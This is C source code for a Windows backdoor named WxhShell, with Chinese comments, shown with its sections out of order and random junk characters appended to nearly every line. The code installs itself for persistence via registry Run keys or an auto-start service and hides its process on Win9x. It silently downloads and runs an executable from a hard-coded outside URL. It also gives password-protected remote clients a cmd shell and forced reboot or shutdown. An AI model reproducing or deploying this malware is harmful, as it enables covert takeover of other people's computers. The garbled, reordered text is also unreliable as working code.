    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IcEdG(  
    else { )7d&NE_  
    closesocket(wsh); \lY_~*J  
    ExitThread(0); 4JEpl'5^Q  
    } TV:9bn?r)  
    break; Mhu*[a=;x  
    } J05e#-)<K  
  // 获取shell !W\+#ez  
  case 's': { 2T1q?L?]  
    CmdShell(wsh); (mOtU8e  
    closesocket(wsh); dveiQ  
    ExitThread(0); v^iAD2X/F  
    break; : +u]S2u{  
  } &L:!VL{I  
  // 退出 GVz6-T~\>  
  case 'x': { G)YcJv7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )1z@  
    CloseIt(wsh); \GBuWY3B  
    break; [RL9>n8f  
    } >sF)Bo Lc  
  // 离开 cS$_\65  
  case 'q': { 0a7Ppntb@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  9!GM{  
    closesocket(wsh); .VqhV  
    WSACleanup(); jylD6IT  
    exit(1); [?gP;,  
    break; B:<VA=  
        } 5^cCY'I  
  } 5xBbrU;  
  } =%7-ZH9  
_M1%Z~  
  // 提示信息 "&] -2(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -4K5-|>O  
} $xqa{L%B  
  } 0"R|..l/  
#G3<7PK  
  return; |:o4w  
} Pfhmo $  
%xW"!WbJ|  
// shell模块句柄 YR70BOxK  
int CmdShell(SOCKET sock) >_TZ'FT  
{ Om<a<q  
STARTUPINFO si; [;N'=]`  
ZeroMemory(&si,sizeof(si)); "7 yD0T)2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yu|>t4#GT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >lm&iF3y  
PROCESS_INFORMATION ProcessInfo; QP x^_jA  
char cmdline[]="cmd"; t-AmX) $  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N+|d3X!  
  return 0; m~|40)   
} 0J|3kY-n>  
cK@wsA^4  
// 自身启动模式 "4Nt\WQ  
int StartFromService(void) +_!QSU,@  
{ \wZe] G%S  
typedef struct jdN` mosJ  
{ YUb_y^B^  
  DWORD ExitStatus; T|$H#n}  
  DWORD PebBaseAddress; *a)n62  
  DWORD AffinityMask; ,6/V" kqIP  
  DWORD BasePriority; TC('H[ ]  
  ULONG UniqueProcessId; ZcsZ$qt^  
  ULONG InheritedFromUniqueProcessId; y5r4&~04  
}   PROCESS_BASIC_INFORMATION; R_KH"`q  
$qiya[&G4  
PROCNTQSIP NtQueryInformationProcess; im8CmQ  
B~mj 8l4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :s,Z<^5a)g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n<,BmVQ  
'"^'MXa  
  HANDLE             hProcess; (:_$5&i7  
  PROCESS_BASIC_INFORMATION pbi; hp2t"t  
965 jtn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kstIgcI  
  if(NULL == hInst ) return 0; b>|6t~}M  
3Vwh|1?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l} /F*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F [M,]?   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K9[UB  
s iaG'%@*r  
  if (!NtQueryInformationProcess) return 0; Gt1U!dP  
PCvWS.{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ! if   
  if(!hProcess) return 0; <%d>v-=B  
/z!%d%"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }C:r 9? T  
E./2jCwI(Y  
  CloseHandle(hProcess); H|*m$| $,  
[ 3Gf2_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8}[).d160  
if(hProcess==NULL) return 0; RN1_S  
ig!+2g  
HMODULE hMod; _#niyW+?~  
char procName[255]; do%&m]#;  
unsigned long cbNeeded; a[C@  
pRqx`5 }  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1x)J[fyId  
sx%[=g+<2(  
  CloseHandle(hProcess); D- c4EV  
PsYpxNr  
if(strstr(procName,"services")) return 1; // 以服务启动 9p/Bh$vJ  
rsQtMtS2  
  return 0; // 注册表启动 Z r8*et  
} 3mgD(,(^  
>%G1"d?j  
// 主模块 H)?z #x  
int StartWxhshell(LPSTR lpCmdLine) M7T5 ~/4  
{ XUYtEf  
  SOCKET wsl; pkzaNY/q  
BOOL val=TRUE; x4 yR8n(  
  int port=0; pb}*\/s  
  struct sockaddr_in door; \bcLiKE{  
}pYqWTG  
  if(wscfg.ws_autoins) Install(); >j/w@Fj  
uYN`:b8  
port=atoi(lpCmdLine); WLT"ji0w2  
l;Wj]  
if(port<=0) port=wscfg.ws_port; 'NmRR]Q9  
~a:  
  WSADATA data; vQCy\Gi   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Pal=F0-Q\  
&pRREu:[4L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %Zi} MPx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $I=~S[p  
  door.sin_family = AF_INET; N['  .BN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tA;}h7/Lc~  
  door.sin_port = htons(port); ;`&kZi60Hz  
3n _htgcv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { siI;"?  
closesocket(wsl); Upe%rC(  
return 1; u_enqC3  
} ?  t|[?  
QV!up^Zso  
  if(listen(wsl,2) == INVALID_SOCKET) { 2ESo2  
closesocket(wsl); ]DcFySyv  
return 1; HtFDlvdy]  
} RP"kC4~1  
  Wxhshell(wsl); aOp\91  
  WSACleanup(); wT@og|M  
icgfB-1|i  
return 0; b9krOe *j  
S'" Df5  
} 6Oq 7#3]  
UNYqft4  
// 以NT服务方式启动 #e"[^_C@!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "sTRS*  
{ )8AXm  
DWORD   status = 0; @]j1:PN-  
  DWORD   specificError = 0xfffffff; A"]YM'.  
f#;>g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .nJz G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :X=hQ:>P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >7|VR:U?B  
  serviceStatus.dwWin32ExitCode     = 0; Ac@VGT:9  
  serviceStatus.dwServiceSpecificExitCode = 0; s[jTP(d)8  
  serviceStatus.dwCheckPoint       = 0; uT"rq:N  
  serviceStatus.dwWaitHint       = 0; G\i9:7 `  
9w"*y#_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OXA7w.^  
  if (hServiceStatusHandle==0) return; *wearCPeJ  
8LKiS  
status = GetLastError(); 8tL~FiHb"  
  if (status!=NO_ERROR) N7"W{"3D  
{ h`q1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s;e\ pt  
    serviceStatus.dwCheckPoint       = 0; 3`g^  
    serviceStatus.dwWaitHint       = 0; b}`T Ln  
    serviceStatus.dwWin32ExitCode     = status; [JiH\+XLPs  
    serviceStatus.dwServiceSpecificExitCode = specificError; f|5co>Hk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7.Op<  
    return; <E~'.p,  
  } X'srL j.  
dV_G1'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]^E?;1$f?  
  serviceStatus.dwCheckPoint       = 0; e6*8K@LHB  
  serviceStatus.dwWaitHint       = 0; _>+Ld6.T6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lxx2H1([  
} RZLq]8pM  
FrS]|=LJhX  
// 处理NT服务事件,比如:启动、停止 Ui~>SN>s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tmq OJ  
{ ?s01@f#  
switch(fdwControl) [,Gg^*umS  
{ (QEG4&9  
case SERVICE_CONTROL_STOP: 6x`t{g]f,  
  serviceStatus.dwWin32ExitCode = 0; QRUz`|U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [0!(xp^  
  serviceStatus.dwCheckPoint   = 0; 01]f2.5  
  serviceStatus.dwWaitHint     = 0; d{?LD?,)  
  { us-L]S+lm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B#A6v0Ta  
  } -@'FW*b  
  return; Lbgi7|&  
case SERVICE_CONTROL_PAUSE: .v K-LHs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pK*TE5]  
  break; 1EK *g;H  
case SERVICE_CONTROL_CONTINUE: dO'(2J8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {: /}NpA$  
  break; ?uu*L6  
case SERVICE_CONTROL_INTERROGATE: $Sq:q0  
  break; ch]IzdD  
}; Q &8-\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }j Xfb@`K  
} O- wzz  
-7ep{p-  
// 标准应用程序主函数 sJZ iI}Xc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >4TO=i  
{ 9up3[F$  
t@(HF-4~=  
// 获取操作系统版本 %{W6PrY{  
OsIsNt=GetOsVer(); 1 MFbQs^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x}4q {P5$  
9hl_|r~%*  
  // 从命令行安装 =X}J6|>X  
  if(strpbrk(lpCmdLine,"iI")) Install(); I9^x,F"E]  
&oNAv-m^GD  
  // 下载执行文件 Z,gk|M3.  
if(wscfg.ws_downexe) { F9^S"qv$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 203 s^K 61  
  WinExec(wscfg.ws_filenam,SW_HIDE);  mh%VrA q  
} z{q`GwW  
U{mYTN*:j$  
if(!OsIsNt) { $ nb[GV  
// 如果时win9x,隐藏进程并且设置为注册表启动 *. t^MP  
HideProc(); W?& %x(6M  
StartWxhshell(lpCmdLine); tQVVhXQ7  
} ^iA9%zp  
else 7V>M]  
  if(StartFromService()) UKGPtKE<  
  // 以服务方式启动 *~`(RV  
  StartServiceCtrlDispatcher(DispatchTable); h[ ZN+M  
else i8p6Xht  
  // 普通方式启动 Wwo0%<2y  
  StartWxhshell(lpCmdLine); e-;}366}  
JF]JOI6.e  
return 0; sO Y:e/_F  
} l/D} X  
;uW FHc5@B  
i b m4fa  
pH;%ELZ  
=========================================== %b0*H_ok7  
Jm@oDME_E  
4H/OBR  
SbZ6t$"  
)b)zm2;  
/v}`l  
" *8q.YuZ  
+ZYn? #IQ  
#include <stdio.h> !D6]JPX  
#include <string.h> P>T"cv  
#include <windows.h> NK+o1   
#include <winsock2.h> KvS G;  
#include <winsvc.h> 4i bc  
#include <urlmon.h> xw%0>K[  
$b\P|#A  
#pragma comment (lib, "Ws2_32.lib") x-c"%Z|  
#pragma comment (lib, "urlmon.lib") bt *k.=p  
d9ihhqq3}  
#define MAX_USER   100 // 最大客户端连接数 `oJ [u:b  
#define BUF_SOCK   200 // sock buffer 2%1hdA<  
#define KEY_BUFF   255 // 输入 buffer pAEx#ck  
~[: 2I  
#define REBOOT     0   // 重启 Dq xs+  
#define SHUTDOWN   1   // 关机 s2?&!  
L];b< *d  
#define DEF_PORT   5000 // 监听端口 Ac6=(B  
%y@AA>x!  
#define REG_LEN     16   // 注册表键长度 ysN3  
#define SVC_LEN     80   // NT服务名长度 2 c}E(8e]  
9uY'E'm*  
// 从dll定义API <3iMRe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0(I j%Wi,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $'TM0Yu,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 49P 4b<1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c> af  
GILfbNcd  
// wxhshell配置信息 }G=M2V<L  
struct WSCFG { 9L9sqZUB  
  int ws_port;         // 监听端口 TC. ,V_  
  char ws_passstr[REG_LEN]; // 口令 (hsl~Jf  
  int ws_autoins;       // 安装标记, 1=yes 0=no )"LJ hLg  
  char ws_regname[REG_LEN]; // 注册表键名 m|# y >4  
  char ws_svcname[REG_LEN]; // 服务名 ivPg9J1S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jpOp.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PFR:>^wK2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0V]s:S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l%ZhA=TKQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J1kM\8%b\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IID5c" oR  
wBzC5T%,  
}; 67TwPvh  
4 :=]<sc,  
// default Wxhshell configuration 2:R+tn(F  
struct WSCFG wscfg={DEF_PORT, *I'yH8Fcn  
    "xuhuanlingzhe", h![#;>(  
    1, Jwp7gYZ  
    "Wxhshell", P2!C|SLK  
    "Wxhshell", zX~MC?,W1  
            "WxhShell Service", l,: F  
    "Wrsky Windows CmdShell Service", Q&&@v4L   
    "Please Input Your Password: ", m* ;ERK  
  1, v:p}B$  
  "http://www.wrsky.com/wxhshell.exe", g>sSS8R O  
  "Wxhshell.exe" z2c6T.1M  
    }; z~Q)/d,Ac  
zzz3Bq~  
// 消息定义模块 07)yG:q*x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mq[ug>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BHw, 4#F1;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *H122njH+T  
char *msg_ws_ext="\n\rExit."; F/Pep?'  
char *msg_ws_end="\n\rQuit."; OZT.=^:A  
char *msg_ws_boot="\n\rReboot...";  IB<d  
char *msg_ws_poff="\n\rShutdown..."; t Pf40`@  
char *msg_ws_down="\n\rSave to "; fh{`Mz,o  
q;U,s)Uz^  
char *msg_ws_err="\n\rErr!"; sGb{9.WK  
char *msg_ws_ok="\n\rOK!"; yN c2@  
KG@8RtHsQ  
char ExeFile[MAX_PATH]; &{RDM~  
int nUser = 0; | 3%8&@ho  
HANDLE handles[MAX_USER]; 7|D+Ihy;  
int OsIsNt; {[(h[MW#  
OTp]Xe/  
SERVICE_STATUS       serviceStatus; \1`O_DF~o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; : jx4{V  
X|[`P<'N<  
// 函数声明 Y~Ifj,\  
int Install(void); IAEAhqp  
int Uninstall(void); nie%eC&U  
int DownloadFile(char *sURL, SOCKET wsh); Wf<LR3  
int Boot(int flag); fLVAKn  
void HideProc(void); bfO=;S]b!  
int GetOsVer(void); `kr?j:g  
int Wxhshell(SOCKET wsl); a> )f=uS  
void TalkWithClient(void *cs); w:l"\Tm  
int CmdShell(SOCKET sock); P_dJZ((X  
int StartFromService(void); nd(S3rct&  
int StartWxhshell(LPSTR lpCmdLine); .KC ++\{HE  
yBRC*0+Vy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U3kyraj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7rPF$ \#  
8] ikygt"  
// 数据结构和表定义 J=L5=G7(  
SERVICE_TABLE_ENTRY DispatchTable[] = '!$%> ||S  
{ H:G1BZjq  
{wscfg.ws_svcname, NTServiceMain}, ;wVwX6:ZKr  
{NULL, NULL} or]IZ2^n  
}; SzRmF1<  
?q&T$8zc4  
// 自我安装 Gy)@Is9  
int Install(void) '2O\_Uz  
{ {PmZ9  
  char svExeFile[MAX_PATH]; aoTP [Bp  
  HKEY key; f-2c0Bi  
  strcpy(svExeFile,ExeFile); 1U\z5$V  
80;(Gt@<"  
// 如果是win9x系统,修改注册表设为自启动 }`"6aM   
if(!OsIsNt) { X?$_Sd"G+5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <t,x RBk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZB&6<uw  
  RegCloseKey(key); MfQ!6zE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L+QLLcS~EM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y==CT Y@  
  RegCloseKey(key); $SE^S   
  return 0; 1 .X@;  
    } pNIf=lA  
  } y?:.;%!E  
} x m@_IL&P  
else { rbpSg7}Q  
:ivf/x n  
// 如果是NT以上系统,安装为系统服务 j=J/x:w_e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?rIx/>C9  
if (schSCManager!=0) g ci    
{ ]_f<kW\1*  
  SC_HANDLE schService = CreateService 2m[<]$  
  ( 6R5Qy]]E  
  schSCManager, ;GI&lpKK  
  wscfg.ws_svcname, Z)\@i=m  
  wscfg.ws_svcdisp, K@#L)VT!  
  SERVICE_ALL_ACCESS, d/Q%IeEL.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yWya&|D9  
  SERVICE_AUTO_START, BUR*n;V`  
  SERVICE_ERROR_NORMAL, QIgNsz  
  svExeFile, 9C \Fq-  
  NULL, iIogx8[  
  NULL, _y3Xb`0a  
  NULL, Lk$B{2^n  
  NULL, wT\49DT"7  
  NULL j+(I"h3  
  ); _~ &iq1  
  if (schService!=0) O<\@~U  
  { j)GtEP<n#  
  CloseServiceHandle(schService); BSMwdr  
  CloseServiceHandle(schSCManager); V_:&S2j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :hV7> rr  
  strcat(svExeFile,wscfg.ws_svcname); )0R'(#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )Beiu*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?rup/4|  
  RegCloseKey(key); m9A!D  
  return 0; Bw{I;rW{2  
    } -GgA&dh  
  } Y DFyX){  
  CloseServiceHandle(schSCManager); h*Pc=/p  
} &f;K}W O  
} 5^KWCS7@  
OC:T O|S:4  
return 1; p^u:&Quac  
} 4g7)iL^#~  
Y#3c }qb  
// 自我卸载 VYhbx 'e  
int Uninstall(void) AFfAtu  
{ 0AV c  
  HKEY key; PY0j 9$i?  
C/&-l{7  
if(!OsIsNt) { xRsWI!d+|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jq^T1_iqn  
  RegDeleteValue(key,wscfg.ws_regname); r)6M!_]AW  
  RegCloseKey(key); Z`BK/:vo3H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %!L9)(}"  
  RegDeleteValue(key,wscfg.ws_regname); Ib0ZjX6  
  RegCloseKey(key); I0 RvnMw  
  return 0; KK%M~Y+tU'  
  } ^ K E%C;u  
} Rx|;=-8zg  
} *cnNuT  
else { Y]5 l.SV  
Zsh9>]M L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); { buy"X4  
if (schSCManager!=0) W8!Qv8rf  
{ }-3mPy(*%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Uv~QUL3>  
  if (schService!=0) c{LO6dNg\z  
  { |B2+{@R  
  if(DeleteService(schService)!=0) { PJ'E/C)i  
  CloseServiceHandle(schService); :U(A;U1,  
  CloseServiceHandle(schSCManager); ;]jNk'oa  
  return 0; K}U-w:{  
  } WSY}d Vr  
  CloseServiceHandle(schService); Zoc0!84<z  
  } EUgs6[w 4  
  CloseServiceHandle(schSCManager); !7&5` q7  
} 0nD/;\OU  
} tlt*fH$ .  
13=.H5  
return 1; ^w06<m  
} wsVV$I[2  
@{pLk4E  
// 从指定url下载文件 Ji 0 tQV  
int DownloadFile(char *sURL, SOCKET wsh) FjI`uP  
{ ,<p}o\6  
  HRESULT hr; u4|$bbig  
char seps[]= "/"; U!Z,xx[]  
char *token; K:Q<CQ2  
char *file; iRi-cQVy  
char myURL[MAX_PATH]; [R7Y}k:9U  
char myFILE[MAX_PATH]; s&!a  
?8Cq{  
strcpy(myURL,sURL); [,KXze_m  
  token=strtok(myURL,seps); Ezv Y"T@  
  while(token!=NULL) Gm.]sE?.  
  { 6qd\)q6T&x  
    file=token; QZ%`/\(!8_  
  token=strtok(NULL,seps); rI-%be==  
  } qc~iQSI  
H? y,ie#u  
GetCurrentDirectory(MAX_PATH,myFILE); *``JamnSO  
strcat(myFILE, "\\"); CoAv Sw  
strcat(myFILE, file); Km6YP!i  
  send(wsh,myFILE,strlen(myFILE),0); -{vKus  
send(wsh,"...",3,0); +V^;.P</  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M|(Q0 _8  
  if(hr==S_OK) td3D=Y  
return 0; B i<Q=x'Z;  
else B[?CbU  
return 1; }:*]aL<7_  
x*&|0n.D  
} Ziu]'#  
B|AV$N*  
// 系统电源模块 RT J3qhY  
int Boot(int flag) fCobzDy  
{ eS mLf*\G  
  HANDLE hToken;  fGw9!  
  TOKEN_PRIVILEGES tkp; ""Q P%  
'xg Lt(  
  if(OsIsNt) { %(G* ,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2q4<t:!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PO 7Lf#9]  
    tkp.PrivilegeCount = 1; /mu*-,a eX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =;&yd';k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c+nq] xOs'  
if(flag==REBOOT) { 0aa&m[Mk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (%W&4a1di  
  return 0; T+k{W6  
} M8b;d}XL  
else { (<oy N7NT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?r2` Q  
  return 0; LRG6:&  
} pW sDzb6?%  
  } fG(SNNl+D  
  else { T+K):u g  
if(flag==REBOOT) { P{+T< bk|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8j\cL'  
  return 0; )fSOi| |C  
} r|PB*`  
else { |:<f-j7t~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zEyN)  
  return 0; mh[75(  
} Gc;{\VU  
} 6N S201o  
s^uS1  
return 1; K]" #C  
} [ )dXIIM  
JU5C}%Q6  
// win9x进程隐藏模块 28J^DMOW  
void HideProc(void) hP)LY=- 2  
{ G&V/Gj8  
iBgx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "z=SO1  
  if ( hKernel != NULL ) [>%xd)8.c  
  { 1gy.8i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &&:Y Vd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !~D}/Q;#}\  
    FreeLibrary(hKernel); t*T2Z-!P  
  } Pjjewy1}^  
i,4>0o?  
return; lun\`f 5Q  
} M={V|H0  
<drODjB  
// 获取操作系统版本 8tFoN*M  
int GetOsVer(void) EbE-}>7OO  
{ MgrLSKLT  
  OSVERSIONINFO winfo; m6CI{Sa](l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @A89eZbW  
  GetVersionEx(&winfo); <\ :Yk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gPsi  
  return 1; 8Sh54H  
  else YccH+[X;  
  return 0; 2Kyl/C,  
} j<@lX^  
ZR?yDgL  
// 客户端句柄模块 )PuFuf(wz  
int Wxhshell(SOCKET wsl) ?>rW>U6:P  
{ sN2p76KN  
  SOCKET wsh;  &NK,VB;  
  struct sockaddr_in client; S4Ww5G?.  
  DWORD myID; &*G #H~\  
W=vP]x >J  
  while(nUser<MAX_USER) IrhA+)pdse  
{ QPg8;O  
  int nSize=sizeof(client); fNt`?pW H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C3],n   
  if(wsh==INVALID_SOCKET) return 1; ~SF<,-Kg  
I3mGo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lXiKY@R#  
if(handles[nUser]==0) sVv xHkt@  
  closesocket(wsh); ime\f*Fg  
else ua]o6GlO  
  nUser++; _EMwm&!  
  } $?<Z!*x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \uC15s<  
u!X|A`o5i  
  return 0; qHrA%k^!2O  
} &c:Ad% z  
#( jw!d&  
// 关闭 socket xt%7@/hiE  
void CloseIt(SOCKET wsh) L3--r  
{ C=It* j55  
closesocket(wsh); 7/f3Z 1g  
nUser--; G) 7;;  
ExitThread(0); TbGn46!:  
} ,J>5:ht(6  
3.W@ }   
// 客户端请求句柄 3#&7-o  
void TalkWithClient(void *cs) O_ DtvjI'  
{ 6%Pdy$ P  
"C19b:4H  
  SOCKET wsh=(SOCKET)cs; |J} Mgb-4  
  char pwd[SVC_LEN]; fb8g7H|  
  char cmd[KEY_BUFF]; I}6\Sv=  
char chr[1]; t&CJ% XP  
int i,j; PuT@}tw  
l q&wXi  
  while (nUser < MAX_USER) { 7Ka l"Ew  
0F|AA"mMT  
if(wscfg.ws_passstr) { r{ef.^&:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~ZhraSI) G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hp|_6hO 2  
  //ZeroMemory(pwd,KEY_BUFF); 4 G-wd  
      i=0; fhp<oe>D  
  while(i<SVC_LEN) { qI<mjB{3`  
M|qteo  
  // 设置超时 H {k^S\K  
  fd_set FdRead; Z2='o_c  
  struct timeval TimeOut; O0No'LVu  
  FD_ZERO(&FdRead); "zRoU$X  
  FD_SET(wsh,&FdRead); ^Z# W_R\l  
  TimeOut.tv_sec=8; V<@ o<R  
  TimeOut.tv_usec=0; I'iGt~4$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5nO% Ke=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *c*0PdV  
/fT+^&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Boz@bl mCB  
  pwd=chr[0]; wl$h4 {L7  
  if(chr[0]==0xd || chr[0]==0xa) { &n?^$LTPY  
  pwd=0; 9 ;Ox;;w  
  break; "zFNg';  
  }  !@'6)/  
  i++; oMTf"0EIW  
    } JJ'.((  
`~;rblo;  
  // 如果是非法用户,关闭 socket @reeO=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xs:n\N  
}  <**y !2  
aZ'Lx:)R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R>"OXFaE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y+6o{`0  
pg%aI,  
while(1) { )>-ibf`#?  
Zx  bq  
  ZeroMemory(cmd,KEY_BUFF); glXZZ=j  
iN0nw]_*  
      // 自动支持客户端 telnet标准   Yvjc1  
  j=0; -'BA{#e}L  
  while(j<KEY_BUFF) { $.v5~UGb{\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $K'|0   
  cmd[j]=chr[0]; UHxE)]J  
  if(chr[0]==0xa || chr[0]==0xd) { MR<;i2p  
  cmd[j]=0; C[Dav&=^F  
  break; aj,T)oDbt6  
  } MFm"G  
  j++; z` FCs,?K  
    } hQHnwr  
?0oUS+lU  
  // 下载文件 mAW, ?h  
  if(strstr(cmd,"http://")) { <xC#@OZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z;wELz1L{  
  if(DownloadFile(cmd,wsh)) e=;AfK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); % v7[[U{T  
  else y K2^Y]Ku?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '@CR\5 @  
  } cEd+MCN  
  else { %ck]S!}6  
70mpSD3  
    switch(cmd[0]) { Cp]"1%M,  
  Bv. `R0e&  
  // 帮助 fpN- o  
  case '?': { Ttc[Q]Ri  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D HT&,=  
    break; TdGnf   
  } @b~fIW_3>  
